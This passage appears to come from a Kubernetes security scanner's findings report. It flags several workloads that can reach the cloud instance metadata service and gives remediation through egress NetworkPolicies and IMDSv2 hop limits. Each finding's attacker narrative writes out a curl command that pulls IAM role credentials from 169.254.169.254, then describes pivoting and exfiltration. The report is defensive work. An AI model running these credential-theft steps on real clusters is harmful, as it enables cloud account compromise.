IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/secrets-bundle/cross-ns-consumer via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in secrets-bundle (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec cross-ns-consumer -n secrets-bundle -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"cross-ns-consumer"
workload_namespace
"secrets-bundle"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "cross-ns-consumer",
  "workload_namespace": "secrets-bundle"
}
HIGH Deployment/statusspoof-fixtures/statusspoof-api Workload 7.8
Workload Deployment/statusspoof-fixtures/statusspoof-api has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/statusspoof-fixtures/statusspoof-api: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/statusspoof-fixtures/statusspoof-api Namespace: statusspoof-fixtures

Workload Deployment/statusspoof-fixtures/statusspoof-api runs in namespace statusspoof-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/statusspoof-fixtures/statusspoof-api via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in statusspoof-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec statusspoof-api -n statusspoof-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"statusspoof-api"
workload_namespace
"statusspoof-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "statusspoof-api",
  "workload_namespace": "statusspoof-fixtures"
}
HIGH Deployment/vulnerable/generic-hostpath-app Workload 7.8
Workload Deployment/vulnerable/generic-hostpath-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/vulnerable/generic-hostpath-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/vulnerable/generic-hostpath-app Namespace: vulnerable

Workload Deployment/vulnerable/generic-hostpath-app runs in namespace vulnerable and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/vulnerable/generic-hostpath-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in vulnerable (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec generic-hostpath-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"generic-hostpath-app"
workload_namespace
"vulnerable"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "generic-hostpath-app",
  "workload_namespace": "vulnerable"
}
HIGH Deployment/vulnerable/host-ns-app Workload 7.8
Workload Deployment/vulnerable/host-ns-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/vulnerable/host-ns-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/vulnerable/host-ns-app Namespace: vulnerable

Workload Deployment/vulnerable/host-ns-app runs in namespace vulnerable and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/vulnerable/host-ns-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in vulnerable (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec host-ns-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"host-ns-app"
workload_namespace
"vulnerable"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "host-ns-app",
  "workload_namespace": "vulnerable"
}
HIGH Deployment/vulnerable/risky-app Workload 7.8
Workload Deployment/vulnerable/risky-app uses hostNetwork: true, so 169.254.169.254 (cloud IMDS) is reachable regardless of NetworkPolicy
Scope · Workload Workload Deployment/vulnerable/risky-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Workload Deployment/vulnerable/risky-app runs in namespace vulnerable with spec.hostNetwork: true, which means its pods share the node's network namespace. NetworkPolicies do not apply to host-network pods (they operate on the pod's own netns), so any egress restriction defined in this namespace is bypassed. The pod can open connections to 169.254.169.254 exactly as if it were running on the node directly.

hostNetwork is commonly enabled for cluster infrastructure: CNI agents, monitoring daemons (node-exporter, Datadog Agent), log shippers, ingress controllers. These workloads usually need it, but they also become the highest-value pivot targets in the cluster because they sit on the node IAM identity with no NetPol gating.

The NetworkPolicy-layer defense does not exist for these pods. The only defenses are (a) keep their image surface area and RBAC tight so the pod is hard to compromise, (b) on AWS set IMDSv2 hop-limit = 1 at the nodegroup so even host-network requests through the node's NIC are denied at the hypervisor, and (c) where the workload truly does not need cloud credentials, drop hostNetwork: true in favor of a host-network-less alternative.

Impact A compromised host-network pod inherits the node's IMDS reachability with zero NetworkPolicy enforcement; container RCE -> cloud-account compromise is a single curl, even when the namespace looks tightly locked down.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/vulnerable/risky-app (host-network pod, often a monitoring sidecar or CNI helper).
  2. They issue curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ from inside the pod. The request is served by the node's network stack, not the pod's, so any namespace-level egress NetworkPolicy is irrelevant.
  3. They scrape the node IAM role's STS credentials and call aws sts get-caller-identity to enumerate reach.
  4. They pivot into the cloud account: list other clusters' worker-node roles, read RDS secrets, enumerate S3 buckets, depending on the node IAM scope.
  5. The operator's NetworkPolicy is intact in kubectl get netpol and looks correct in dashboards, masking that this specific workload is exempt.
Remediation
NetworkPolicy cannot gate host-network pods. Drop hostNetwork: true if the workload does not strictly require it, otherwise enforce IMDSv2 hop-limit = 1 at the nodegroup so the IAM credentials path is denied at the hypervisor.
  1. Audit why Deployment/vulnerable/risky-app needs hostNetwork: true. Common reasons (CNI helper, host-port log shipper) are legitimate; most application workloads do not.
  2. If hostNetwork is not strictly required, remove it from the pod template and re-deploy under namespace-level NetworkPolicy controls.
  3. If hostNetwork must stay, on AWS set the launch-template HttpPutResponseHopLimit = 1 for the EKS nodegroup so IMDSv2 token requests originating from host-network pods are denied at the hypervisor (PacketTTL = 1 prevents the second hop the token request needs).
  4. Bind the workload's ServiceAccount to a least-privileged IRSA role so it never needs to fall back to the node IAM role.
  5. Validate from inside the pod: kubectl exec risky-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/ must time out (it will succeed today).
Evidence
reason
"host-network"
workload_kind
"Deployment"
workload_name
"risky-app"
workload_namespace
"vulnerable"
Show raw JSON
{
  "reason": "host-network",
  "workload_kind": "Deployment",
  "workload_name": "risky-app",
  "workload_namespace": "vulnerable"
}
HIGH Deployment/vulnerable/root-runner Workload 7.8
Workload Deployment/vulnerable/root-runner has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/vulnerable/root-runner: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/vulnerable/root-runner Namespace: vulnerable

Workload Deployment/vulnerable/root-runner runs in namespace vulnerable and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/vulnerable/root-runner via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in vulnerable (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec root-runner -n vulnerable -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"root-runner"
workload_namespace
"vulnerable"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "root-runner",
  "workload_namespace": "vulnerable"
}
HIGH Deployment/vulnerable/socket-mounts-app Workload 7.8
Workload Deployment/vulnerable/socket-mounts-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/vulnerable/socket-mounts-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/vulnerable/socket-mounts-app Namespace: vulnerable

Workload Deployment/vulnerable/socket-mounts-app runs in namespace vulnerable and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/vulnerable/socket-mounts-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in vulnerable (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec socket-mounts-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"socket-mounts-app"
workload_namespace
"vulnerable"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "socket-mounts-app",
  "workload_namespace": "vulnerable"
}
HIGH Job/gw-workloads/gw-batch Workload 7.8
Workload Job/gw-workloads/gw-batch has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Job/gw-workloads/gw-batch: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Job/gw-workloads/gw-batch Namespace: gw-workloads

Workload Job/gw-workloads/gw-batch runs in namespace gw-workloads and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceJob

A Job executes one or more pods that must complete successfully. Jobs are a common attacker mechanism for one-shot privilege use ("create a Job that mounts the host filesystem, do the thing, exit").

  1. Attacker gains RCE in Job/gw-workloads/gw-batch via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in gw-workloads (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec gw-batch -n gw-workloads -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Job"
workload_name
"gw-batch"
workload_namespace
"gw-workloads"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Job",
  "workload_name": "gw-batch",
  "workload_namespace": "gw-workloads"
}
HIGH Pod/foothold-exec/foothold-decoy Workload 7.8
Workload Pod/foothold-exec/foothold-decoy has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Pod/foothold-exec/foothold-decoy: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Pod/foothold-exec/foothold-decoy Namespace: foothold-exec

Workload Pod/foothold-exec/foothold-decoy runs in namespace foothold-exec and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
  1. Attacker gains RCE in Pod/foothold-exec/foothold-decoy via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in foothold-exec (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec foothold-decoy -n foothold-exec -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
